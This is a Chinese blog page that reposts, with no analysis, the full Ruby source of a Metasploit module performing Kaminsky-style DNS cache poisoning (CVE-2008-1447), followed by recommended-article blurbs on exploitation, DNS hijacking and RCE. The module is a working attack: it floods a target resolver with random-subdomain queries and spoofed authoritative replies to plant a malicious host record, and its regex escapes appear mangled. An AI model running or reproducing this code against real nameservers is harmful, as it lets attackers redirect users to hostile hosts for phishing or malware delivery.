利用DNS漏洞攻击的Ruby代码

Metasploit(一) 利用 MS17-010 漏洞进行攻击 借助 metasploit 利用 MS17-010 漏洞进行攻击Metasploit 简介 (简称:MSF)经常被利用的端口MS17-010利用流程1. 存活判断2. 端口扫描3. 服务识别4. 系统识别5. 漏洞利用后渗透阶段基础命令POST后渗透模块访问文件系统权限提升获取密码的方式run windows/gather/credentials/windows_autologinhashdump 模块mimikatz程序加载kiwi模块MSF中的 mimikatz 模块 Metasploit 简介 (简称 阅读详情
 
1 require 'msf/core'
2 require 'net/dns'
3 require 'scruby'
4 require 'resolv'
5 
6 module Msf
7 
8 class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary
9 
10        include Exploit::Remote::Ip
11 
12        def initialize(info = {})
13                super(update_info(info, 
14                        'Name'          => 'DNS BaliWicked Attack',
15                        'Description'    => %q{
16                                This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
17                                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
18                                malicious host entry into the target nameserver by sending random sub-domain
19                                queries to the target DNS server coupled with spoofed replies to those
20                                queries from the authoritative nameservers for the domain which contain a
21                                malicious host entry for the hostname to be poisoned in the authority and
22                                additional records sections.  Eventually, a guessed ID will match and the
23                                spoofed packet will get accepted, and due to the additional hostname entry
24                                being within baliwick constraints of the original request the malicious host
25                                entry will get cached.
26                        },
27                        'Author'        => [ 'I)ruid', 'hdm' ],
28                        'License'        => MSF_LICENSE,
29                        'Version'        => '$Revision$',
30                        'References'    =>
31                                [
32                                        [ 'CVE', '2008-1447' ],
33                                        [ 'US-CERT-VU', '8000113' ],
34                                        [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
35                                ],
36                        'Privileged'    => true,
37                        'Targets'        => 
38                                [
39                                        ["BIND", 
40                                                {
41                                                        'Arch' => ARCH_X86,
42                                                        'Platform' => 'linux',
43                                                },
44                                        ],
45                                ],
46                        'DisclosureDate' => 'Jul 21 2008'
47                        ))
48                         
49                        register_options(
50                                [
51                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
52                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
53                                        OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
54                                        OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
55                                        OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
56                                        OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
57                                ], self.class)
58                                         
59        end
60         
61        def auxiliary_commands
62                return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
63        end
64 
65        def cmd_check(*args)
66                targ = args[0] || rhost()
67                if(not (targ and targ.length > 0))
68                        print_status("usage: check [dns-server]")
69                        return
70                end
71 
72                print_status("Using the Metasploit service to verify exploitability...")
73                srv_sock = Rex::Socket.create_udp(
74                        'PeerHost' => targ,
75                        'PeerPort' => 53
76                )               
77 
78                random = false
79                ports  = []
80                lport  = nil
81                 
82                1.upto(5) do |i|
83                 
84                        req = Resolv::DNS::Message.new
85                        txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
86                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
87                        req.rd = 1
88                         
89                        srv_sock.put(req.encode)
90                        res, addr = srv_sock.recvfrom()
91                         
92 
93                        if res and res.length > 0
94                                res = Resolv::DNS::Message.decode(res)
95                                res.each_answer do |name, ttl, data|
96                                        if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
97                                                t_addr, t_port = $1.split(':')
98 
99                                                print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
100                                                t_port = t_port.to_i
101                                                if(lport and lport != t_port)
102                                                        random = true
103                                                end
104                                                lport  = t_port
105                                                ports << t_port
106                                        end
107                                end
108                        end     
109                end
110                 
111                srv_sock.close
112                 
113                if(ports.length < 5)
114                        print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
115                        return
116                end
117                 
118                if(random)
119                        print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
120                        print_status("      This server may still be exploitable, but not by this tool.")
121                else
122                        print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
123                end
124        end
125                 
126        def run
127                target  = rhost()
128                source  = Rex::Socket.source_address(target)
129                sport    = datastore['SRCPORT']
130                hostname = datastore['HOSTNAME'] + '.'
131                address  = datastore['NEWADDR']
132                recons  = datastore['RECONS']
133                xids    = datastore['XIDS'].to_i
134                ttl      = datastore['TTL'].to_i
135 
136                domain = hostname.match(/[^/x2e]+/x2e[^/x2e]+/x2e$/)[0]
137 
138                srv_sock = Rex::Socket.create_udp(
139                        'PeerHost' => target,
140                        'PeerPort' => 53
141                )
142 
143                # Get the source port via the metasploit service if it's not set
144                if sport.to_i == 0
145                        req = Resolv::DNS::Message.new
146                        txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
147                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
148                        req.rd = 1
149                         
150                        srv_sock.put(req.encode)
151                        res, addr = srv_sock.recvfrom()
152                         
153                        if res and res.length > 0
154                                res = Resolv::DNS::Message.decode(res)
155                                res.each_answer do |name, ttl, data|
156                                        if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
157                                                t_addr, t_port = $1.split(':')
158                                                sport = t_port.to_i
159 
160                                                print_status("Switching to target port #{sport} based on Metasploit service")
161                                                if target != t_addr
162                                                        print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
163                                                end
164                                        end
165                                end
166                        end
167                end
168 
169                # Verify its not already cached
170                begin
171                        query = Resolv::DNS::Message.new
172                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
173                        query.rd = 0
174 
175                        begin
176                                cached = false
177                                srv_sock.put(query.encode)
178                                answer, addr = srv_sock.recvfrom()
179 
180                                if answer and answer.length > 0
181                                        answer = Resolv::DNS::Message.decode(answer)
182                                        answer.each_answer do |name, ttl, data|
183                                                if((name.to_s + ".") == hostname  and data.address.to_s == address)
184                                                        t = Time.now + ttl
185                                                        print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
186                                                        print_status("        Cache entry expires on #{t.to_s}... sleeping.")
187                                                        cached = true
188                                                        sleep ttl
189                                                end
190                                        end
191                                end
192                        end until not cached
193                rescue ::Interrupt
194                        raise $!
195                rescue ::Exception => e
196                        print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
197                end
198 
199                res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
200 
201                print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
202 
203                # Look up the nameservers for the domain
204                print_status "Querying recon nameserver for #{domain}'s nameservers..."
205                answer0 = res0.send(domain, Net::DNS::NS)
206                #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
207 
208                barbs = [] # storage for nameservers
209                answer0.answer.each do |rr0|
210                        print_status " Got an #{rr0.type} record: #{rr0.inspect}"
211                        if rr0.type == 'NS'
212                                print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
213                                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
214                                #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
215                                answer1.answer.each do |rr1|
216                                        print_status " Got an #{rr1.type} record: #{rr1.inspect}"
217                                        res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
218                                        print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
219                                        answer2 = res2.send(domain)
220                                        if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
221                                                nsrec = {:name => rr0.nsdname, :addr => rr1.address}
222                                                barbs << nsrec
223                                                print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
224                                        end
225                                end
226                        end     
227                end
228 
229                if barbs.length == 0
230                        print_status( "No DNS servers found.")
231                        srv_sock.close
232                        disconnect_ip
233                        return
234                end
235 
236                # Flood the target with queries and spoofed responses, one will eventually hit
237                queries = 0
238                responses = 0
239 
240                connect_ip if not ip_sock
241 
242                print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
243 
244                while true
245                        randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
246 
247                        # Send spoofed query
248                        req = Resolv::DNS::Message.new
249                        req.id = rand(2**16)
250                        req.add_question(randhost, Resolv::DNS::Resource::IN::A)
251 
252                        req.rd = 1
253 
254                        buff = (
255                                Scruby::IP.new(
256                                        #:src  => barbs[0][:addr].to_s,
257                                        :src  => source,
258                                        :dst  => target,
259                                        :proto => 17
260                                )/Scruby::UDP.new(
261                                        :sport => (rand((2**16)-1024)+1024).to_i,
262                                        :dport => 53
263                                )/req.encode
264                        ).to_net
265                        ip_sock.sendto(buff, target)
266                        queries += 1
267                         
268                        # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
269                        req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
270                        req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
271                        req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
272                        req.qr = 1
273                        req.ra = 1
274 
275                        p = rand(4)+2*10000
276                        p.upto(p+xids-1) do |id|
277                                req.id = id
278                                barbs.each do |barb|
279                                        buff = (
280                                                Scruby::IP.new(
281                                                        #:src  => barbs[:addr].to_s,
282                                                        :src  => barb[:addr].to_s,
283                                                        :dst  => target,
284                                                        :proto => 17
285                                                )/Scruby::UDP.new(
286                                                        :sport => 53,
287                                                        :dport => sport.to_i
288                                                )/req.encode
289                                        ).to_net
290                                        ip_sock.sendto(buff, target)
291                                        responses += 1
292                                end
293                        end
294 
295                        # status update
296                        if queries % 1000 == 0
297                                print_status("Sent #{queries} queries and #{responses} spoofed responses...")
298                        end
299 
300                        # every so often, check and see if the target is poisoned...
301                        if queries % 250 == 0 
302                                begin
303                                        query = Resolv::DNS::Message.new
304                                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
305                                        query.rd = 0
306         
307                                        srv_sock.put(query.encode)
308                                        answer, addr = srv_sock.recvfrom()
309 
310                                        if answer and answer.length > 0
311                                                answer = Resolv::DNS::Message.decode(answer)
312                                                answer.each_answer do |name, ttl, data|
313                                                        if((name.to_s + ".") == hostname and data.address.to_s == address)
314                                                                print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
315                                                                disconnect_ip
316                                                                return
317                                                        end
318                                                end
319                                        end
320                                rescue ::Interrupt
321                                        raise $!
322                                rescue ::Exception => e
323                                        print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
324                                end
325                        end
326 
327                end
328 
329        end
330 
331 end
332 end     
我是怎样入侵苹果,微软公司的——新型供应链攻击的故事 自从我开始学习编程以来,我一直感到好奇的是,我们居然对我们放在命令行工具中这样一个简单命令如此信任: 某些编程语言(例如 Python)带有一种简单的或多或少正式的方法来为项目安装依赖项。 这些安装程序通常与公共代码存储库绑定,并且任何人都可以自由上传代码包供他人使用。 您可能已经听说过这些工具 ——Node 具有 npm 和 npm 注册表,Python 的 pip 使用 PyPI(Python 包索引),并且 Ruby’s Gems 可以在 RubyGems 上找到。 从这些来源中的任何. 阅读详情

相关推荐

从漏洞利用到内网渗透:攻击未打补丁服务的完整攻击链解析

在网络安全领域,漏洞利用是攻击者获取初始访问权限的核心技术手段。其基本原理是,攻击者通过识别并利用软件或系统中已知但未修复的安全缺陷,绕过正常认证或执行非授权操作。这项技术的价值在于,它往往是网络入侵的起点,能够为后续的横向移动和数据窃取奠定基础。常见的应用场景包括针对Web服务器、数据库以及各类中间件的远程攻击。攻击链通常始于侦察与武器化,通过扫描发现未打补丁的服务版本,并准备相应的漏洞利用代码。随后,在漏洞利用与安装阶段,攻击者利用诸如SQL注入、反序列化或远程代码执行等技术获取初始立足点。进入后渗透阶

weixin_34013044的博客 322

DNS劫持

DNS劫持(DNS Hijacking)是一种网络攻击方式,攻击者通过篡改DNS(域名系统)响应或DNS服务器的配置,将用户从他们打算访问的网站重定向到恶意网站。这种攻击可以用于盗取个人信息、散布恶意软件或进行钓鱼攻击。

SXXYNHHXX的博客 1011

ExploitDB高效搜索指南:精准定位漏洞利用代码的实战技巧

在网络安全领域,漏洞利用是渗透测试与安全研究的关键环节。其核心原理在于通过分析软件缺陷,构造特定数据或代码以触发非预期行为,从而实现远程代码执行或权限提升等技术目标。掌握高效的漏洞信息检索能力,能极大提升安全工作的效率与精准度。ExploitDB作为收录海量公开漏洞利用代码的权威数据库,其强大的搜索语法与标签体系为安全从业者提供了结构化查询方案。通过组合使用逻辑运算符、字段搜索与1333个分类标签,用户可以从漏洞类型、目标环境、利用技术等多维度进行外科手术式精准过滤。无论是复现特定CVE漏洞、进行攻击面测绘

diankui6178的博客 444

DNS服务器漏洞

Infoworld 报道,著名黑客HD Moore已经率先公布了可用代码.利用这段代码可以对DNS服务器进行投毒,将一条恶意纪录植入目标服务器,该服务器将随机发起域名查询,此时攻击者可以提供伪造的响应,将域名服务器中的纪录指向其特定站点.这个漏洞攻击可以默默的改变用户的升级服务下载恶意软件,IOActive研究者Dan Kaminsky很早发现漏洞并且无意中这周公布了漏洞使得开发出攻击代码.i

itclock的专栏 1531

客户端渗透实战:从漏洞利用到内网突破的攻防解析

在网络安全领域,漏洞利用是攻击者突破防御体系的核心技术手段之一。其基本原理是通过利用软件或系统中的设计缺陷、编码错误或配置不当,使攻击者能够执行非授权操作,例如获取系统权限、窃取敏感数据或破坏服务完整性。从技术价值看,掌握漏洞利用技术不仅有助于理解攻击链的构建,更能为安全防御提供逆向工程视角,从而设计出更有效的检测与防护机制。在实际应用场景中,客户端软件因其部署广泛、用户交互频繁且安全更新滞后,常成为攻击者首选的突破口。通过社会工程学手段投递恶意文件或链接,结合针对客户端软件的内存破坏漏洞、逻辑缺陷或配置弱

djph26741的博客 393

SSTI漏洞攻防实战:从模板注入到远程代码执行

服务器端模板注入(SSTI)是一种高危的Web安全漏洞,其核心原理在于模板引擎未能正确区分数据与代码的边界。当用户输入被直接拼接到模板字符串中时,攻击者可以注入恶意模板语法,从而在服务器端执行任意代码。这种漏洞的技术价值在于它直接绕过了应用逻辑层,实现了从用户输入到服务器命令执行的路径打通,危害性极大。在应用场景上,SSTI常见于邮件模板、报告生成、内容管理系统等需要动态渲染内容的Web功能中。本文聚焦于SSTI漏洞的检测与利用,深入剖析了如何通过模糊测试、引擎指纹识别(如Jinja2、FreeMarker

weixin_34252686的博客 383

【KALI网络安全】DNS攻击(劫持和欺骗)与网络钓鱼的模拟和预防(1)

1、DNS概述 关于DNS的定义,作用,分类以及工作原理,我已经在【Windows Server 2019】DNS服务器的配置与管理——理论】这篇博客中陈述过。 要预防DNS劫持,必须了解它的攻击原理和过程 声明 本博客不是在向大家展示这些攻击的方法,而是让大家尽可能的了解DNS攻击的手段以及如何采取必要的预防措施,来确保更安全地上网。 2、DSN劫持(DNS Hijacking)概述 2.1.什么是DNS劫持 DNS劫持全称为域名服务器劫持,又称DNS重定向(DNS redirection)。它是一种

VMware, Windows, Linux, Cisco, Container, Kubernetes, Kali 5607

SSRF漏洞之常见Bypass篇

SSRF–(Server-side Request Forge, 服务端请求伪造) 定义:由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务 SSRF漏洞思维导图如下,本篇主要介绍利用SSRF Bypass利用原理与方式 SSRF漏洞形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤 一般的防御措施是对URL参数进行过滤,或者使得URL参数用户不可控,但当过滤方法不当时,就存在Bypass的不同方式 通过CTF

weixin_39664643的博客 2630

常见的DNS攻击类型有哪些?应采取哪些应对措施?

在当今数字化时代,域名系统(DNS)作为互联网的基础设施之一,承担着将域名转换为IP地址的重要任务。然而,DNS也成为了网络攻击的主要目标之一。DNS攻击不仅会导致网站无法访问,还可能引发数据泄露、服务中断等严重后果。本文将详细解析常见的DNS攻击类型,并提供有效的防范策略,帮助企业和个人更好地保护网络安全。

pinglanke001的博客 641

RCE漏洞攻防解析:从命令注入到代码执行的实战分析

远程代码执行(RCE)是网络安全领域的核心威胁之一,其本质在于应用程序未能正确处理外部可控输入,导致攻击者能够在目标系统上执行任意代码或命令。从技术原理上看,RCE主要源于输入验证不充分,使得恶意数据被解释为可执行指令。这种漏洞的技术价值在于它直接威胁系统安全,可能导致数据泄露、服务瘫痪等严重后果。在应用场景上,RCE常见于Web应用、网络设备及各类服务接口中,攻击者通过命令注入、代码注入、反序列化漏洞、模板注入(SSTI)等方式实现攻击。本文聚焦于RCE漏洞的实战分析流程,通过信息收集、模糊测试、漏洞确认

weixin_30732487的博客 424

远程命令执行漏洞深度解析:从原理到实战利用与防御

远程命令执行是Web安全领域一个核心且高危的漏洞类型,其本质源于应用程序对用户输入边界的信任缺失,将不可信数据直接传递给系统命令执行函数。从技术原理上看,它涉及操作系统进程调用、Shell解析以及输入验证机制。其技术价值在于,一旦被利用,攻击者能直接获得服务器操作系统层面的控制权,危害性极高。常见的应用场景包括Web应用中的参数拼接、模板注入、反序列化以及第三方组件调用等环节。本文将以渗透测试的工程实践视角,深入剖析RCE漏洞的发现、利用链构造及权限维持方法,并探讨如何通过手工探测、Fuzz技巧以及反向Sh

weixin_30634661的博客 408

常用网络攻击

SQL injection根据名字, 我们大致可以猜测到. 这个攻击是和sql数据库相关的(关系型数据库). 系统的解释一下: sql 注入: 指的是攻击者注入一段恶意的脚本, 然后执行他想要的结果。 比如: 获取到该db 里面所有的数据,删除数据库数据.(由于, 后台给前台开放的接口通常只是作为查询使用, 所有 获取db 所有数据这类攻击比较常见).实例攻击这类攻击通常发生在,后台使用动态脚本生...

qiange520的专栏 3244

多相机标定与单应变换:用OpenCV实现BEV俯视全景图

多路监控画面分散在不同屏幕,难以快速理解全局空间关系。通过相机标定与畸变校正,利用单应矩阵将各视角图像投影到统一的地面坐标系,即可合成BEV鸟瞰全景图。该技术是车载360°环视系统和自动驾驶BEV感知的雏形,也适用于场地安防与移动机器人导航。基于Python+OpenCV的四路相机实现,完整覆盖标定、投影变换、多路羽化融合与实时优化,为多视角拼接和俯视全景图项目提供可复现的工程参考。

weixin_29056865的博客 247

Apache 服务器存在高危提权漏洞;流行 Ruby 库曝出恶意后门,作者未知

(给技术最前线加星标,每天看技术热点)转自:开源中国、solidot、cnBeta、腾讯科技、快科技等0、Apache 服务器存在高危提权漏洞,请升级至最新版本 2.4....

redditnote的博客 293

IDM更改下载路径的详细指南

Internet Download Manager(IDM)是一款功能全面的下载加速工具,它支持多种浏览器和协议,能够显著提升下载速度,同时提供断点续传、多线程下载等实用功能。IDM的用户界面简洁明了,操作便捷,使得用户能够轻松管理下载任务。此外,IDM还支持自动分类下载文件、定时下载等高级功能,进一步提升了用户的下载体验。通过本文的介绍,相信用户已经掌握了如何在IDM中更改下载路径的方法。这一功能不仅提升了下载效率和文件管理便捷性,还满足了用户的个性化需求。

nntxthml的博客 1763

Keil C51里用printf打印数据,为啥总出乱码?手把手教你%bd、%hd、%ld的正确用法

本文深入解析Keil C51中printf打印数据出现乱码的根本原因,并提供格式符%bd、%hd、%ld的正确用法指南。通过详细的调试技巧和实战案例,帮助开发者解决串口输出问题,提升单片机开发效率。

weixin_26854829的博客 281

攻防技术第一篇之-知彼(攻击手段)

攻防技术中,攻击一些名词解释

千寻的博客 3713

STM32F103上跑mbedtls 2.24.0:手把手教你为MQTTS加密通信打好基础

本文详细介绍了如何在STM32F103上移植和裁剪mbedtls 2.24.0,为MQTTS加密通信打下坚实基础。通过版本选择、开发环境配置、深度裁剪策略和加密功能验证,帮助开发者在资源受限的MCU上实现安全通信。文章还提供了常见问题解决方案和性能优化技巧,助力物联网设备开发。

weixin_30321709的博客 462

BEEF的使用(简单版)

BeEF BEEF (The Browser Exploitation Framework):一款浏览器攻击框架,用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。 BeEF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段...

zzlx123的博客 2720

Transformer实战(32)——Transformer模型压缩

在本节中,我们学习了如何在硬件资源受限的情况下减轻运行大模型的负担。我们介绍了如何通过蒸馏、剪枝和量化从训练好的模型中提取高效模型。预训练轻量级的通用语言模型(如 DistilBERT) 可以在各种任务上进行微调,并表现出与非蒸馏模型相当的性能。随着数据量的不断增加,我们希望模型能够更快地运行,在这方面,高效 Transformer 起着至关重要的作用。

盼小辉丶的博客 2613

ANPC三电平拓扑双脉冲试验的原理与实施

ANPC三电平拓扑因损耗低、谐波小、应力均衡而广泛应用,但其存在短、长两类换流通道,寄生电感和开关应力差异显著。短通道尖峰小、可靠性高;长通道应力严苛。因此需分别制定两套独立双脉冲测试方案,针对不同时段和器件(如T1、T5、T6、T4及对应二极管)全面考核开关特性。

嵌入式老牛的博客 353

黑入苹果特斯拉竟如此容易!这位鬼才的攻击方法火了,微软等35家公司一起悬赏...

点击上方 "编程技术圈"关注,星标或置顶一起成长后台回复“大礼包”有惊喜礼包!每日英文Be true to who you are. Stop trying to ple...

程序员小乐 1067

YOLO26涨点改进| TGRS 2026 | 独家自研创新、检测头改进篇| AHATHead自适应混合注意力检测头,二次创新,强化特征表达与目标判别能力,适合遥感小目标检测、小目标检测有效涨点

🔥本文提出了一种改进YOLO26模型的AHATHead自适应混合注意力检测头,通过融合全局与局部注意力机制增强特征表达能力。该方法采用动态权重分配策略,在预测阶段自动调整关键区域与通道特征权重,有效提升小目标和密集场景的检测性能。实验表明,AHATHead在保持较高推理效率的同时,显著提高了目标定位精度与类别判别能力。文章详细介绍了模块结构、实现原理和代码集成步骤,并提供了两种改进配置方案(yolo26_AHATHead.yaml和yolo26_RFHA-YOLO-AHATHead.yaml)

Ai缝合怪、助力小伙伴高效发论文 160

模拟DNS缓存毒药攻击

第一步:创建DNS服务器。在Windows 2003 Server中,依次单击“开始→管理工具→配置您的服务器向导”,在打开的向导页中依次单击“下一步”按钮。配置向导自动检测所有网络连接的设置情况,若没有发现问题则进入“服务器角色”向导页。 然后在“服务器角色”列表中单击“DNS服务器”选项(图1),并单击“下一步”按钮。打开“选择总结”向导页,如果列表中出现“安装DNS服务器”和“运行配置 D...

QA Engineer 575

高云FPGA系列教程(7):ARM GPIO外部中断

高云GN1NSR-4C共有16个GPIO,每个GPIO可配置成输入或输出模式,支持中断输入,触发方式可选择:上升沿、下降沿、高电平、低电平触发。中断优先级可通过NVIC进行设置,支持 0-7 级可编程中断优先级。

whik1194的博客 1376

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

加密隧道攻击防御实战:从DNS/HTTPS隧道检测到纵深防御体系构建

加密隧道技术,如VPN、SSH和HTTPS,本是为保障数据传输安全而设计的核心网络技术,其原理是通过加密算法对通信内容进行封装,确保传输过程的机密性与完整性。这项技术的核心价值在于为远程访问、隐私保护和合规传输提供了基础支撑,广泛应用于企业远程办公、在线交易和云服务等场景。然而,攻击者正滥用这些合法协议,将恶意流量隐藏在加密隧道内,以绕过传统安全设备的检测,形成严重的网络威胁。针对此类威胁,有效的防御需从流量元数据和行为分析入手,构建覆盖检测、分析与响应的多层技术栈。本文聚焦于DNS隧道与HTTPS隧道这两

weixin_33674976的博客 400

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

上一篇: 内存修改器
下一篇: 监控远程线程代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值